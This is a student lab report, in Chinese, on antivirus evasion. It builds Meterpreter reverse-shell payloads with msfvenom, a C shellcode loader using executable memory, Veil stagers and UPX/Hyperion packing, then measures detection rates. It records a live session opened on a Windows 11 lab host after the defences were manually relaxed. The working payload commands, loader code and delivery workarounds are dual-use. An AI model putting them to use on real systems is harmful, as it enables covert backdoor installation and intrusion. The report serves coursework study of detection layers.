20242311 2026-2027-1《网络与系统攻防技术》实验三实验报告

学号: 20242311  姓名: 王润章  班级: 2423
实验名称: 免杀原理与实践

一、基础知识

(一)PE 文件与 Shellcode 的加载

Windows 只加载 PE 格式的可执行文件,其结构包括 DOS 头(MZ 开头)、NT 头(PE 签名)、可选头(入口点地址、节区数量)和节表(.text 代码段、.data 数据段、.rsrc 资源段等)。杀毒软件的静态扫描大多围绕这些结构展开:入口点是否落在异常位置、节区数量与权限是否合理、是否出现已知的加壳节名(如 UPX0、UPX1)、导入表是否只剩下少数几个敏感函数。

Shellcode 是一段位置无关的机器码,本身不构成文件,无法直接双击运行。要让它执行,必须由一个加载器程序把它放进可执行的内存再跳转过去。常用的做法是三件事:

步骤 使用的函数 作用
申请内存 VirtualAlloc(..., PAGE_EXECUTE_READWRITE) 得到一块可读写可执行的内存
写入代码 memcpy(exec, buf, sizeof buf) 把 shellcode 拷入该内存
跳转执行 ((void (*)(void))exec)() 把内存地址当作函数指针调用

其中 PAGE_EXECUTE_READWRITE(简称 RWX)是最关键的特征。正常程序很少出现同时可写与可执行的内存页,因为那正是"数据被当作代码执行"的形态。静态引擎未必看得出来,行为引擎却几乎必然记录这一动作。

(二)杀毒软件的检测路线

路线 原理 优点 局限
特征码匹配 提取文件中的字节序列或哈希,与特征库比对 准确、开销低 一个字节变化即失效,无法识别未知样本
静态启发式 分析熵值、节区结构、加壳特征、可疑导入表 可识别变种 误报率较高
动态行为与沙箱 在受控环境运行,观察 API 调用序列、注册表、网络连接 能对抗混淆与加密 需要运行环境,可被反沙箱规避
云查与信誉 哈希云库、数字签名、下载量、文件来源标记(MOTW) 对未知样本有兜底 依赖联网与用户规模

这四条路线相互独立。通过前三条的样本,仍可能被第四条拦住。本次实验在回连阶段观察到的四层拦截,正对应这四条路线。

(三)免杀技术的基本分类

类别 代表手段 作用对象
改变内容 编码(XOR 变形)、加密 特征码
改变容器 压缩壳(UPX)、加密壳(Hyperion) 特征码与节区结构
更换载体 自写加载器,替换工具模板 工具指纹
分离加载 载荷与加载器分离、运行时下载 文件级特征
环境对抗 反调试、反虚拟机、延迟执行 沙箱与行为分析
身份伪装 代码签名、白利用 信誉判定

可以看出,免杀并不是把程序改得"干净",而是让它的恶意意图在某一个检测维度上不可见。

(四)msfvenom 与编码器

msfvenom 生成 exe 时,是把指定的 payload 填入一套固定的 PE 模板中,因此同样参数下输出大小固定(本次为 7168 字节),只有载荷部分随 LHOST、LPORT 变化。这个固定模板后来成为判断"检测的是什么"的重要线索。

编码器(如 x86/shikata_ga_nai)的作用是对载荷字节做多轮 XOR 变换,并在开头附上一段解密代码。多轮编码只改变加密后的数据部分,那段解密代码的结构基本不变,且始终以明文存在。

二、实验内容

(一)实验任务

  1. 使用 msfvenom 生成 Windows 后门,并在多引擎在线扫描平台测量检出率,作为基线。
  2. 使用 msf 编码器生成单次编码、十次编码的 exe,以及 jar、php 等其他格式的载荷。
  3. 用 Veil-Evasion 生成 C 载荷,在加壳前后各测一次检出率。
  4. 使用 C 语言结合 shellcode 自行编写加载器。
  5. 使用 UPX 压缩壳与 Hyperion 加密壳对样本加壳。
  6. 组合编码、加载器、加壳等手段,观察检出率变化。
  7. 在开启杀软的另一台电脑上实测运行与回连,记录杀软名称、版本与拦截情况。

总体思路是沿着"减少可被识别的结构"这一条主线,从工具默认产物出发逐步剥离可检测成分,每一步都用检出率测量,最后在真实靶机上验证功能与拦截行为。每个样本同时记录检出率、文件大小、SHA256、能否执行四项;任何"低检出"都必须先确认文件仍然可用,才计入免杀效果。

(二)实验要求问题回答

问题1:杀软是如何检测出恶意代码的?

杀软并不是"看懂"程序想做什么,而是沿着四条独立路线做概率判断。第一条是特征码匹配,从已知样本提取稳定字节序列入库比对,本次 VirScan 的 48 个引擎大多属于这一类,因此报毒名常带家族标识(Win32.MsfShell-E、BackDoor.Meterpreter.1462),它们认的是"这段代码我见过"。第二条是静态启发式,不比对具体字节,而看结构是否像恶意程序,例如熵值过高、节区数量与权限异常、导入表只剩内存分配与网络函数。第三条是动态行为与沙箱,把样本跑一遍,记录 API 序列、内存权限变化和外联地址,C 加载器里那句 VirtualAlloc(..., PAGE_EXECUTE_READWRITE) 就属于这一类。第四条是云查与信誉,不看内容只看是否可信,依据是哈希云库、数字签名、下载量与文件来源标记。

问题2:免杀是做什么?

免杀是在保持恶意代码功能完整可用的前提下,降低它被上述任一检测路线识别的概率。这里有两个要点:一是前提必须"可用",本次实验中 met_encoded10_php_20242311.php 检出仅 2/48,看似最成功,但文件已被 x86 编码器改成乱码,PHP 解释器根本无法执行,这属于失败而不是免杀;二是目标是"不可见"而不是"变无害",免杀不改变代码能力,只改变它在检测维度上的呈现。

问题3:免杀的基本方法有哪些?

常见方法包括编码加密、加壳、更换加载器、载荷分离、环境对抗和身份伪装。本次实测的结果是分化的:编码无效(16→16→17,因为解密代码本身是公开特征);UPX 无影响(6→6,引擎能自动脱壳);Hyperion 反而恶化(6→20,壳体被精确命名);重写加载器最有效(16→6,去掉工具指纹后约六成检出消失)。由此得到的判断是,方法必须与被对抗的检测维度匹配,而身份伪装是唯一能作用于信誉层的手段。

三、实验过程

(一)实验准备:环境与参数

攻击机为 VMware 中的 Kali Linux(内核 6.19.14+kali-amd64),IP 为 192.168.17.129/24,终端主机名为 wangrunzhang;靶机为 Windows 11 24H2(Build 26200,x64),IP 为 192.168.17.1,计算机网络名为 LAPTOP-R4L7E2HQ,登录账户为 lenovo。靶机上同时装有火绒安全软件(6.0.12.1)与 Windows 自带的 Microsoft Defender。

实验参数统一为:学号 20242311、LHOST=192.168.17.129、LPORT=2311。监听端口取学号后四位,便于与同学区分,避免端口冲突。所有样本放在 ~/lab3,文件名均包含学号。

开始前先做环境自检:

export SID=20242311 LHOST=192.168.17.129 LPORT=2311
df -h / | tail -1; free -h | head -2
for t in msfvenom msfconsole upx i686-w64-mingw32-g++ wine veil java php; do
  printf "%-26s %s\n" "$t" "$(command -v $t || echo '缺失')"
done

fig01_环境自检

自检显示磁盘 79G 可用 59G 充裕,但内存仅 1.9G、可用不足 1G,且 i686-w64-mingw32-g++、wine、veil 均缺失。其中内存偏小在后续安装 Veil 时可能触发编译期内存不足,因此在继续之前先关机把内存扩到 4G。

补装编译链与 wine 后,验证工具是否可用:

wine --version
cd /usr/share/windows-resources/hyperion && wine hyperion.exe
free -h | head -2

fig03_wine与hyperion用法

该输出中 err:ole:、err:setupapi: 一类提示属于无图形界面下 wine 的启动噪声,可以忽略;判断依据是它正常打印了 Hyperion PE-Crypter Version 2.0 的用法与 -k、-s、-l、-v 四个参数,说明程序本身已能运行。

(二)msfvenom 生成基础后门并测量基线

(1)生成样本

mkdir -p ~/lab3 && cd ~/lab3
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT \
  -f exe -o met${SID}.exe
sha256sum met${SID}.exe

输出为 Payload size: 355 bytes、Final size of exe file: 7168 bytes,文件 7.0K,SHA256 为 2002d905…ceed2。

(2)测量检出率

将样本上传 VirScan 后得到 16/48,并核对报告页显示的文件大小与 SHA256 与本地一致,确认上传的正是刚生成的文件。

fig04_基准16of48

首次上传时曾出现报告页 SHA256 为 84d5d89e… 的情况,与本地不符,判断为误选了同目录下的同名旧文件,该次数据作废重传。此后每次上传都先核对哈希前 8 位。

(3)结果分析

16/48 意味着 48 个引擎中有 32 个未能识别。但更值得注意的是这批报毒名指向哪里:DrWeb 报 BackDoor.Meterpreter.1462、VBA32 报 BScope.Trojan.Metasploit、ClamAV 报 Win.Trojan.MSShellcode-…。这些名称指向的是工具家族与模板,而不只是载荷本身。这为后面的任务四提供了直接依据:如果换掉工具模板,这部分检出可能一并消失。

(三)msf 编码器与多格式载荷

(1)exe 单次编码与十次编码

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' \
  LHOST=$LHOST LPORT=$LPORT -f exe -o met${SID}_2.exe

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
  LHOST=$LHOST LPORT=$LPORT -f exe -o met${SID}_3.exe

十次编码的日志中可以看到载荷逐次膨胀:382 → 409 → 436 → 463 → 490 → 517 → 544 → 571 → 598 → 625 字节。

样本 大小 检出率
未编码(基准) 7168 B 16/48
单次编码 7168 B 16/48
十次编码 7680 B 17/48

fig05_单次编码16of48

fig06_十次编码17of48

编码一次检出不变,编码十次反而升高一个。原因写在报毒名里:AVG 与 Avast 报 Win32.ShikataGaNai-C。被识别的不是加密后的载荷,而是 shikata_ga_nai 那段固定的解密代码——它结构稳定、始终明文、早已被收录。编码次数越多,文件里带的"标准解密头"越完整。因此多次编码并不等于更好的免杀效果,它只是换了一种特征。

(2)jar 载荷

msfvenom -p java/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -o metjar${SID}.jar
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 \
  LHOST=$LHOST LPORT=$LPORT -o met-encode-jar${SID}.jar
样本 大小 检出率
metjar20242311.jar 5264 B 14/48
met-encode-jar20242311.jar 5264 B 14/48

fig07_jar14of48

fig08_jar编码14of48

两条命令的输出有一处决定性的差别:带 -e 的那次没有出现 Found 1 compatible encoders 与 Attempting to encode payload 两行,直接给出 Payload size: 5264 bytes。进一步核对产物:

md5sum metjar20242311.jar met-encode-jar20242311.jar
cmp metjar20242311.jar met-encode-jar20242311.jar

cmp 报 differ: byte 11。jar 本质是 ZIP,其本地文件头中偏移 10–11 正是"最后修改时间"字段,也就是说两个文件的差异只来自打包时间戳。把内部类剥出来再比:

fig11_jar类md5一致

两者的 metasploit/Payload.class 均为 e0efce91393df3801df3790996946fb1,字节级完全相同。结论是:-e x86/shikata_ga_nai 对 Java 载荷没有产生任何编码效果,msfvenom 识别出载荷是 Java 字节码后跳过了 x86 编码器,且不报错、不警告。两次 14/48 一致是必然结果,因为上传的实质是同一个载荷。

(3)php 载荷

msfvenom -p php/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f raw -o metphp_${SID}.php
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 \
  LHOST=$LHOST LPORT=$LPORT -f raw -o met_encoded10_php_${SID}.php
样本 大小 检出率
metphp20242311.php 1114 B 8/48
met_encoded10_php20242311.php 1404 B 2/48

fig09_php8of48

fig10_php编码2of48

2/48 看似是整组样本里最好的数字,但检查文件内容后可以判断它不能计入免杀效果:

原始:  /*<?php /**/ error_reporting(0); $ip = '192.168.17.129'; $port = 2311; ...
编码后:t\x..lX..j0....+..PZEo?c...

原始文件开头是合法 PHP 代码,且能清楚看到本次实验的 IP 与端口;编码后已是一段二进制乱码。原因是日志中 arch 标注为 php,却仍然调用了 x86/shikata_ga_nai 这个机器码编码器,把 PHP 源码当作机器码做了十轮变换,PHP 解释器不会执行这样的文件。

我们觉得这是文件损坏,而不是免杀成功。由此确立第一个判据:免杀的前提是"仍然可用",一个跑不起来的文件,检出率再低也没有意义。

(4)本阶段小结

# 样本 大小 检出率 说明
1 met20242311.exe 7168 B 16/48 基准
2 met20242311_2.exe 7168 B 16/48 单次编码,无变化
3 met20242311_3.exe 7680 B 17/48 十次编码,反升
4 metjar20242311.jar 5264 B 14/48 —
5 met-encode-jar20242311.jar 5264 B 14/48 编码未生效
6 metphp20242311.php 1114 B 8/48 —
7 met_encoded10_php20242311.php 1404 B 2/48 文件已损坏

七个样本中没有一个构成有效免杀,两个"低检出"数字分别来自工具未生效和文件已损坏。

(四)任务三:用 Veil-Evasion 生成 C 载荷

Veil-Evasion 是一个把载荷封装成可执行文件的框架。本任务用它生成 c/meterpreter/rev_tcp,并在加壳前后各测一次检出率。

(1)部署与启动

veil 3.1.14 一直在 Kali 官方源里,一条命令装好,配置文件与输出目录由安装脚本自动生成:

sudo apt install -y veil

第一次安装曾返回 E: Unable to locate package veil,我据此误判为工具已被移出仓库,转去拉源码跑 setup.sh,结果它依赖的四个运行时下载地址全部写死于 2017 年。

fig12_veil_setup失败

启动前 Veil 会检查 Go、PyInstaller 与 wine 内的 Python 3.4 / Ruby 1.8.7 / AutoIT 五项,这些只服务于 python、ruby、cs 类载荷;C 载荷走系统里的 i686-w64-mingw32-gcc,按路径补空文件即可通过。缺的 Crypto 模块用独立虚拟环境补上(系统的 pycryptodomex 只提供 Cryptodome 命名空间,与老代码不兼容):

python3 -m venv --system-site-packages ~/veilenv
~/veilenv/bin/pip install pycryptodome
cd /usr/share/veil
sudo env PYTHONPATH=/usr/share/veil:/usr/share/veil/tools/ordnance \
  ~/veilenv/bin/python /usr/share/veil/Veil.py

1_主菜单

(2)生成载荷与加壳

加载 c/meterpreter/rev_tcp.py,设 LHOST=192.168.17.129、LPORT=2311 后 generate,一次产出三个文件:编译好的 exe、C 源码、msfconsole 资源脚本(参数与本次一致,可直接 msfconsole -r 加载)。

2_evasion与载荷信息

3_生成与输出

输出目录属 root,直接 upx -o 会报 Permission denied,先复制到作业目录再处理:

4_产物与upx

样本 处理 体积 SHA256(前 8 位) VirScan 检出
20242311.exe Veil C 载荷 115767 B 097cfe92 6/48
20242311_veil_upx.exe UPX 4.2.4,压缩率 56.66% 65591 B 68dbd343 4/48

5_检出6of48

6_upx后4of48

(3)结果分析

4/48 是本次实验全部样本中的最低值。报警引擎集中在四家,UPX 前后对比:

引擎 20242311.exe 20242311_veil_upx.exe
ESET a variant of Win32/Agent.QQQ trojan 同左
F-Prot W32/Felix:CO.VC!Eldorado 同左
Rising Malware.Undefined!8.C 同左
OneAV Win.Malicious.ml Win.Malicious.ml!packed
Avira TR/ATRAPS.Gen7 未检出
FisecLab Suspicious.Heuri.NewThreat.MVM 未检出

UPX 只甩掉 Avira 与 FisecLab 两个通用启发式引擎(都是 generic / suspicious 类命名),给出家族名的四家原样保留,OneAV 还把判定名补成 !packed——它先认出文件,再标注"已加壳"。

低检出的原因在载荷的形态上。生成的 20242311.c 只有 16 行,标识符是 JAlzxDJLFQsMPa 这类每次生成都不同的随机串;调用链为 socket → connect → recv → malloc → VirtualAlloc → memcpy → CreateThread。它是 stager 不是 loader,磁盘上的文件里没有 shellcode,第二阶段在运行时才从 handler 取。

对比项 手写 loader(任务四) Veil C 载荷
shellcode 位置 内嵌 unsigned char buf[] 运行时从 handler 接收
体积 108637 B 115767 B
ClamAV 判定 Win32.MsfShell-E 未检出
VirScan 检出 6/48 6/48(UPX 后 4/48)

MsfShell-E 是专门匹配 msf shellcode 的规则,Veil 里没有这段字节,ClamAV 就放过了它。但总数没有下降——少掉的特征被 ESET、F-Prot、Rising、OneAV 从编译器运行时、导入表和模型推理上补了回来。去掉静态 shellcode 只解决了"壳里装了什么",没有解决"这段代码要干什么"。

本项最终 6/48、UPX 后 4/48,未达到可用水平,但与任务四的手写加载器持平,说明 Veil 的封装并不比手写更隐蔽,改变的只是被检测的位置——从静态的 shellcode 字节,变成运行时的可执行内存申请与外连。

(五)C 语言结合 Shellcode 编程

(1)思路

任务一的 16/48 中有相当一部分报警针对的是 msfvenom 的固定 PE 模板。如果换用自己编译的 PE 作为外壳、只保留原始 shellcode,这部分特征理论上应当消失。

(2)生成 shellcode 并编写加载器

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT \
  -f c -o shellcode_c_${SID}.c

输出是一个 C 数组 unsigned char buf[] = "\xfc\xe8...";,payload 355 字节,源文件 1522 字节。在文件末尾追加加载器:

#include <windows.h>
#include <string.h>

int main(void) {
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (exec == NULL) return 1;
    memcpy(exec, buf, sizeof buf);
    ((void (*)(void))exec)();
    return 0;
}

fig18_shellcode与main

(3)编译与核验

i686-w64-mingw32-gcc shellcode_c_${SID}.c -o shellcode_c_${SID}.exe -O2
file shellcode_c_${SID}.exe

fig19_编译与file

file 识别为 PE32 executable for MS Windows 4.00 (console), Intel i386, 16 sections,大小 106.09 KB,说明这是一个由本地编译器产出的正常 PE,而不是补丁式的模板。

(4)检出率

shellcode_c_20242311.exe:6/48

fig20_C加载器6of48

样本 大小 检出率
msfvenom 模板 exe 7168 B 16/48
自编译 C 加载器 108637 B 6/48

体积增长约 15 倍,检出下降 62%。观察报毒名,命中的是 Win32.MsfShell-E(AVG、Avast)、Win32/Rozena.BCD(ESET)、W32/Felix:CO.VCI!Eldorado(Fortinet)等,MsfShell 这一名称直接说明被识别的是内嵌的 msfvenom shellcode 字节序列,而不是外层 PE。

由此可以判断:在本次样本上,工具模板贡献了约六成的检出量。免杀的第一层工作量应当落在"去掉工具指纹",第二层才是"处理载荷字节"。同时也要注意,C 加载器引入了 PAGE_EXECUTE_READWRITE 这一强行为特征,它在静态扫描中更隐蔽,在运行时反而更容易暴露。

(六)加壳

(1)UPX 压缩壳

upx -9 -o shellcode_c_upx_${SID}.exe shellcode_c_${SID}.exe

fig21_upx压缩

压缩率达 55%,原因是 mingw 生成的 16 个节区里存在大量零填充与对齐块。

shellcode_c_upx_20242311.exe:6/48

fig22_upx6of48

检出率与加壳前完全相同,报毒名也没有变化,仍是 Win32.MsfShell-E 一类。这说明引擎具备自动脱壳能力,面对 UPX 会先还原原始 PE 再匹配特征,压缩并没有改变"被检测的对象"。UPX 的固定节名与解压 stub 虽然是公开特征,但在本样本上既没有带来额外扣分,也没有带来任何收益。

(2)Hyperion 加密壳

初次运行失败,报错指向输出文件路径:

fig23_hyperion参数错误

Could not open /usr/share/windows-resources/hyperion/Src/Container/32/infile_size.inc
Could not write include file ...

排查顺序是:先怀疑参数顺序,改用相对路径,报错路径不变;再把整个目录复制到 ~/lab3/hyperion 并在其中运行,报错仍指向 /usr/share/...;最后用 strings 检查二进制:

fig24_hyperion硬编码路径

/usr/share/windows-resources/hyperion/Src/Container/32/
/usr/share/windows-resources/hyperion/Src/Container/64/
/usr/share/windows-resources/hyperion/Fasm/FASM.EXE
/usr/share/windows-resources/hyperion/Src/Payloads/Aes/bin/aes10.dll

路径被硬编码在程序内,与当前工作目录无关。Hyperion 的工作流程是在 Src/Container/<位数>/ 下生成汇编源与 infile_size.inc,再调用 FASM 汇编出 stub,最后把 AES 加密后的 payload 拼入;整个过程必须在安装目录内写文件,而 Debian 系的安装位置属于 root 只读。解决方式是临时把该目录属主改为当前用户后原地运行:

sudo chown -R kali:kali /usr/share/windows-resources/hyperion
cd /usr/share/windows-resources/hyperion
wine hyperion.exe /home/kali/lab3/shellcode_c_${SID}.exe /home/kali/lab3/shellcode_c_hyp_${SID}.exe

fig25_hyperion成功122K

运行中出现的 err:virtual:allocate_virtual_memory out of memory ... size 50000000(约 1.25G 预留失败)不影响产物生成,属 wine 32 位地址空间的预留噪声。

shellcode_c_hyp_20242311.exe:20/48

fig26_hyp20of48

检出率从 6/48 升到 20/48,且报毒名整体换了一批,其中最关键的是 ClamAV 报出的 Win.Packer.Hyperion-1——它直接点名了壳本身。其余如 DrWeb Trojan.Packed2.42612、NANO Trojan.Win32.Packed2!juns、OneAV Win.Malicious.mt[packed]、IKARUS Trojan.Win32.Crypt、Avira TR/Crypt.XPACK.Gen,都属于"加壳/加密程序"这一类判定。

这说明加壳并没有把载荷藏起来,而是把样本变成了它自己。一个原本只有 6 家能认出的自编译加载器,加上 Hyperion 之后变成了 20 家都能认出的"标准加壳程序"。UPX 是能被脱掉的壳,Hyperion 是脱不掉但已被备案的壳。

(3)两种壳的对比

方式 体积变化 检出率变化 作用机制 主要暴露点
无壳 108637 B 6/48 — 内嵌 msfvenom shellcode
UPX 59997 B(−45%) 6/48(不变) 压缩 + 固定解压 stub 引擎自动脱壳,等于无影响
Hyperion 124928 B(+16 KB) 20/48(+14) AES 加密 + 汇编 stub 运行时解密 壳本体被精确命名

(七)组合应用

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
  LHOST=$LHOST LPORT=$LPORT -f c -o ${SID}_shellcode_multi.c

十次迭代依旧完整可见(382→625 字节),源文件 2659 字节。追加与任务四相同的加载器后编译,再分别过 UPX 与 Hyperion:

fig27_multi生成编译

fig28_multi2upx

fig29_multi3hyperion

样本 大小 处理 检出率
20242311_shellcode_multi.exe 109153 B 十次编码 + C 加载器 7/48
20242311_shellcode_multi_2.exe 60513 B + UPX 6/48
20242311_shellcode_multi_3.exe 125440 B + Hyperion 19/48

fig30_multi7of48

fig31_multi2_6of48

fig32_multi3_19of48

三点观察:

第一,十次编码让检出从 6 升到 7。multi 的报毒名中重新出现了 Win32.ShikataGaNai-B 与 Win.Trojan.MSShellcode-*,编码把"编码器指纹"又带了回来,与任务二的结论一致。

第二,UPX 把 7 拉回 6。这不是因为它免杀,而是压缩后部分字符串与结构匹配失效,脱壳后仍能命中。

第三,Hyperion 把 6 拉到 19。壳的成本在所有组合里最高,叠加的层数越多,样本越接近"标准的加壳恶意程序"这个原型。

因此本项的组合技最优解反而是最朴素的那个:不加壳的 6/48。这个结果与"多套几层更安全"的直觉相反——免杀是减法,减少可识别的结构,而不是增加复杂度。

(八)在开启杀软的主机上实测

(1)靶机与防护情况

靶机为 Windows 11 24H2(Build 26200,x64),计算机网络名 LAPTOP-R4L7E2HQ。杀软为火绒安全软件 6.0(版本信息见下图日志页)与 Microsoft Defender(随系统内置,含 SmartScreen)。两者同时开启。

(2)监听端与传输通道

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.17.129
msf exploit(multi/handler) > set LPORT 2311
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.17.129:2311

fig33_handler启动

同时在 Kali 用 python3 -m http.server 8080 提供下载:

fig34_目录与httplog

服务端日志显示 GET ... 200,说明文件已成功发出,拦截发生在客户端一侧。

(3)第一、二层:静态特征与下载扫描

先是 VirScan 的静态结果(任务一至任务六,4/48~20/48 不等)。真正尝试下载时,火绒在下载阶段直接拦截:

时间 文件 报毒名 功能 结果
12:27:18 met20242311.exe HVM:Trojan/Swrot.gen!A WEB 扫描 已阻止
12:28:07 20242311_shellcode_multi_3.exe Trojan/Obfuscated.cp WEB 扫描 已阻止

fig35_火绒WEB基准

fig36_火绒WEB免杀

两次拦截的操作进程都是 msedge.exe,样本未落盘。值得注意的是报毒名的变化:基准样本命中具体家族 Swrot,免杀样本的家族识别失败,只剩"被混淆的程序"这一泛化判定。这说明 Hyperion 加密确实抹掉了家族特征,但"被混淆"本身又成为新的检测点。

(4)第三层:信誉判定

为了绕开下载扫描,采取了三条措施:把目标目录加入 Defender 排除项与火绒信任区、用带密码的 zip 传输(zip -P 20242311)、解压后用 Unblock-File 解除网络来源标记。文件成功落盘,但直接双击仍被拦住:

fig37_smartscreen

这一层与前两层性质不同。它不检查文件内容,而是判断文件是否可信,依据是"是否带网络来源标记"与"是否有数字签名或下载信誉"。自编译的 exe 全网没有信誉记录,必然被判定为无法识别的应用。前面所有编码、加壳、换加载器的手段在这里全部无效,因为它们对抗的是内容特征,而这里做的是信任评估。

(5)第四层:运行时与回连结果

解除标记后样本可以启动,Kali 端收到会话:

[*] Sending stage (203454 bytes) to 192.168.17.1
[*] Meterpreter session 1 opened (192.168.17.129:2311 -> 192.168.17.1:59020)

Computer        : LAPTOP-R4L7E2HQ
OS              : Windows 11 24H2+ (10.0 Build 26200)
Architecture    : X64
System Language : zh_CN
Domain          : WORKGROUP
Meterpreter     : x86/windows
Server username : LAPTOP-R4L7E2HQ\lenovo

fig38_sysinfo

从 sysinfo 可以看到两个细节:x64 系统运行了 x86 载荷(Architecture: X64 而 Meterpreter: x86/windows),依赖 Windows 的 WoW64 兼容层;会话以当前登录用户权限运行,未做提权。

随后恢复防护、把样本从排除目录复制到桌面再执行,火绒立即删除:

时间 报毒名 路径 操作进程 结果
13:37:38 Trojan/Obfuscated.cp C:\Users\lenovo\Desktop\20242311_shellcode_multi_3.exe explorer.exe 已处理,删除文件
13:46:12 Trojan/Obfuscated.cp C:\lab3\multi3\20242311_shellcode_multi_3.exe MsMpEng.exe 已处理,删除文件

fig39_火绒文件监控桌面

fig40_火绒文件监控msmpeng

两点补充。其一,这两次的报毒名与 12:28 那条完全一致,说明火绒对该文件的判定是稳定识别,而不是下载环节的启发式误报。其二,第二行的操作进程是 MsMpEng.exe(Defender 的扫描引擎,父进程为 services.exe),说明该目录同时处于两套防护的扫描范围内,此前只是因为加入了排除项才未触发。

(6)关于"与杀软共生"的说明

本实验并未实现免杀后与杀软共生。 上述会话是在把目录加入 Defender 排除项与火绒信任区、并用 Unblock-File 解除来源标记之后取得的,属于人工放行后的功能验证,不能记为免杀成功。

能够确认的事实是:四层拦截中,除静态特征层只被 6/48 命中(48 家引擎里 42 家未报警)之外,下载扫描(Trojan/Obfuscated.cp,已阻止)、信誉判定(SmartScreen)、运行时监控(已处理、删除文件)三层全部拦住。也就是说,这份样本能骗过大多数静态引擎,却骗不过另外三层。因此本次实验的结论是免杀未达成,取得的成果是找到了它被拦在哪一层、以及为什么被拦。

(7)四层拦截汇总

层 拦截者 判定依据 本次样本能否绕过
1 静态特征 VirScan 各引擎 字节特征匹配 部分(16/48 → 6/48)
2 下载扫描 火绒 WEB 扫描 内容启发式 否
3 信誉判定 SmartScreen 来源标记 + 无签名/无信誉 否(只能人工放行)
4 运行时 火绒文件实时监控 + Defender 落地与执行时扫描 否(删除文件)

四、问题及解决方案

(一)安装 wine 时报告 wine32 无安装候选

问题现象: 执行 sudo apt -y install wine wine32 wine64 时提示 Package 'wine32' has no installation candidate,此前已执行过 dpkg --add-architecture i386。

排查过程: 查看 apt update 的完整输出,发现系统同时配置了五个软件源,大量请求尝试 IPv6 并返回 Network is unreachable,kali.download 的 binary-i386/Packages 超时、Contents-i386 返回 404,最终只下载 410 kB、速度 3.8 kB/s,触发 Some index files failed to download。也就是说 i386 的索引根本没有取到,apt 自然认为 wine32 不存在。

解决方法: 强制走 IPv4、精简为单一国内镜像、清空旧索引后重新 update:

echo 'Acquire::ForceIPv4 "true";' | sudo tee /etc/apt/apt.conf.d/99force-ipv4
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak.$(date +%s)
printf 'deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free non-free-firmware\n' | sudo tee /etc/apt/sources.list
sudo rm -rf /var/lib/apt/lists/*
sudo apt update

之后 dpkg --print-foreign-architectures 输出 i386,apt-cache policy 中 wine、wine64、wine32:i386 均出现候选。安装过程中 libc6 通过 debconf 询问是否自动重启相关服务:

fig02_debconf_libc6

选择 Yes 后,libc6:i386 的同类询问自动跳过。本机为实验虚拟机,该操作没有副作用。

(二)Hyperion 报无法写入 include 文件

问题现象: 在任意目录下执行 wine hyperion.exe 均报 Could not open /usr/share/windows-resources/hyperion/Src/Container/32/infile_size.inc。

排查过程: 先按参数顺序排查,无效;再复制整个程序目录到用户目录运行,报错路径仍然是 /usr/share/...;最后用 strings 检查二进制,发现四条路径全部硬编码。

解决方法: 把该目录属主临时改为当前用户,在原位置运行:

sudo chown -R kali:kali /usr/share/windows-resources/hyperion

经验总结: 遇到"文件写不进去",应先确认程序实际访问的是哪个路径,而不是假设它使用当前目录。strings 在这个场景里比反复猜参数快得多。

(三)apt 报告找不到 veil 包

问题现象: 执行 sudo apt install veil 返回 E: Unable to locate package veil。

排查过程: 起初据此认定新版 Kali 已移除该工具,改从 GitHub 源码部署,结果 setup.sh 依赖的四个运行时下载地址全部失效,又在配置文件和模块路径上反复受阻。事后核对 Kali 官方工具页,veil 3.1.14 仍在列;apt-cache policy veil 也给出了候选版本。根因是本节的(一)——软件源混用、i386 索引未取到、IPv6 请求大量超时。索引不完整时,apt 对任何包都只会回答"找不到"。

解决方法: 修复源后一条 apt install 装完,配置与输出目录由安装脚本生成;Crypto 用独立虚拟环境提供,output/compiled/ 属 root 需先复制再 upx。

经验总结: E: Unable to locate package 只说明"当前索引里没有这个包",不能推出"这个包不存在"。同一个报错,"工具被移除"和"索引坏了"对应的处置是放弃和改一条命令,差别极大。

(四)样本无法投递到靶机

问题现象: 浏览器下载即被火绒阻止,文件不落盘;加入排除目录后,双击又被 SmartScreen 拦截。

排查过程: 先排除服务端因素——Kali 的 http.server 日志显示 GET ... 200,文件已发出;再用火绒日志确认拦截功能为"WEB 扫描",进程为 msedge.exe;解除下载拦截后出现 SmartScreen 界面,判断属于信誉层而非病毒库。

解决方法: 三条措施叠加——目标目录加入 Defender 排除项与火绒信任区、用带密码的 zip 传输、用 Unblock-File 解除网络来源标记。

经验总结: 拦截要按层定位。下载拦截、落地扫描、执行扫描、信誉判定是四件不同的事,混在一起处理只会得出"杀软很强,做不了"的结论。

(五)VirScan 报告中混入旧样本

问题现象: 首次上传后,报告页显示的 SHA256 为 84d5d89e…,与本地 2002d905… 不一致。

排查过程: 两个文件大小都是 7168 字节,从大小上看不出差异,因此怀疑上传时选中了其他目录的同名旧文件。

解决方法: 在文件选择对话框里明确进入 ~/lab3 重新上传,报告页哈希与本地一致后,该次 16/48 才作为正式数据使用。

经验总结: 实验数据的可信度依赖"报告页与产物能对上号",哈希是唯一可靠的绑定依据。此后每次上传都先核对前 8 位。

五、学习感悟与总结

这次实验让我印象最深的不是哪条命令跑通了,而是判断"有没有真的成功"比操作本身更难。任务二里,jar 带编码参数和不带参数的结果完全一样,一开始以为"编码对 jar 无效",后来比对解压后的 class 才发现编码根本没有执行;php 的 2/48 看起来最漂亮,实际是文件被编码器改坏、根本跑不起来。如果只盯着检出率,这两个结论都会写反。

因此我给自己定了两条判据:一是文件还能不能执行,二是报告页的哈希和本地产物对不对得上。

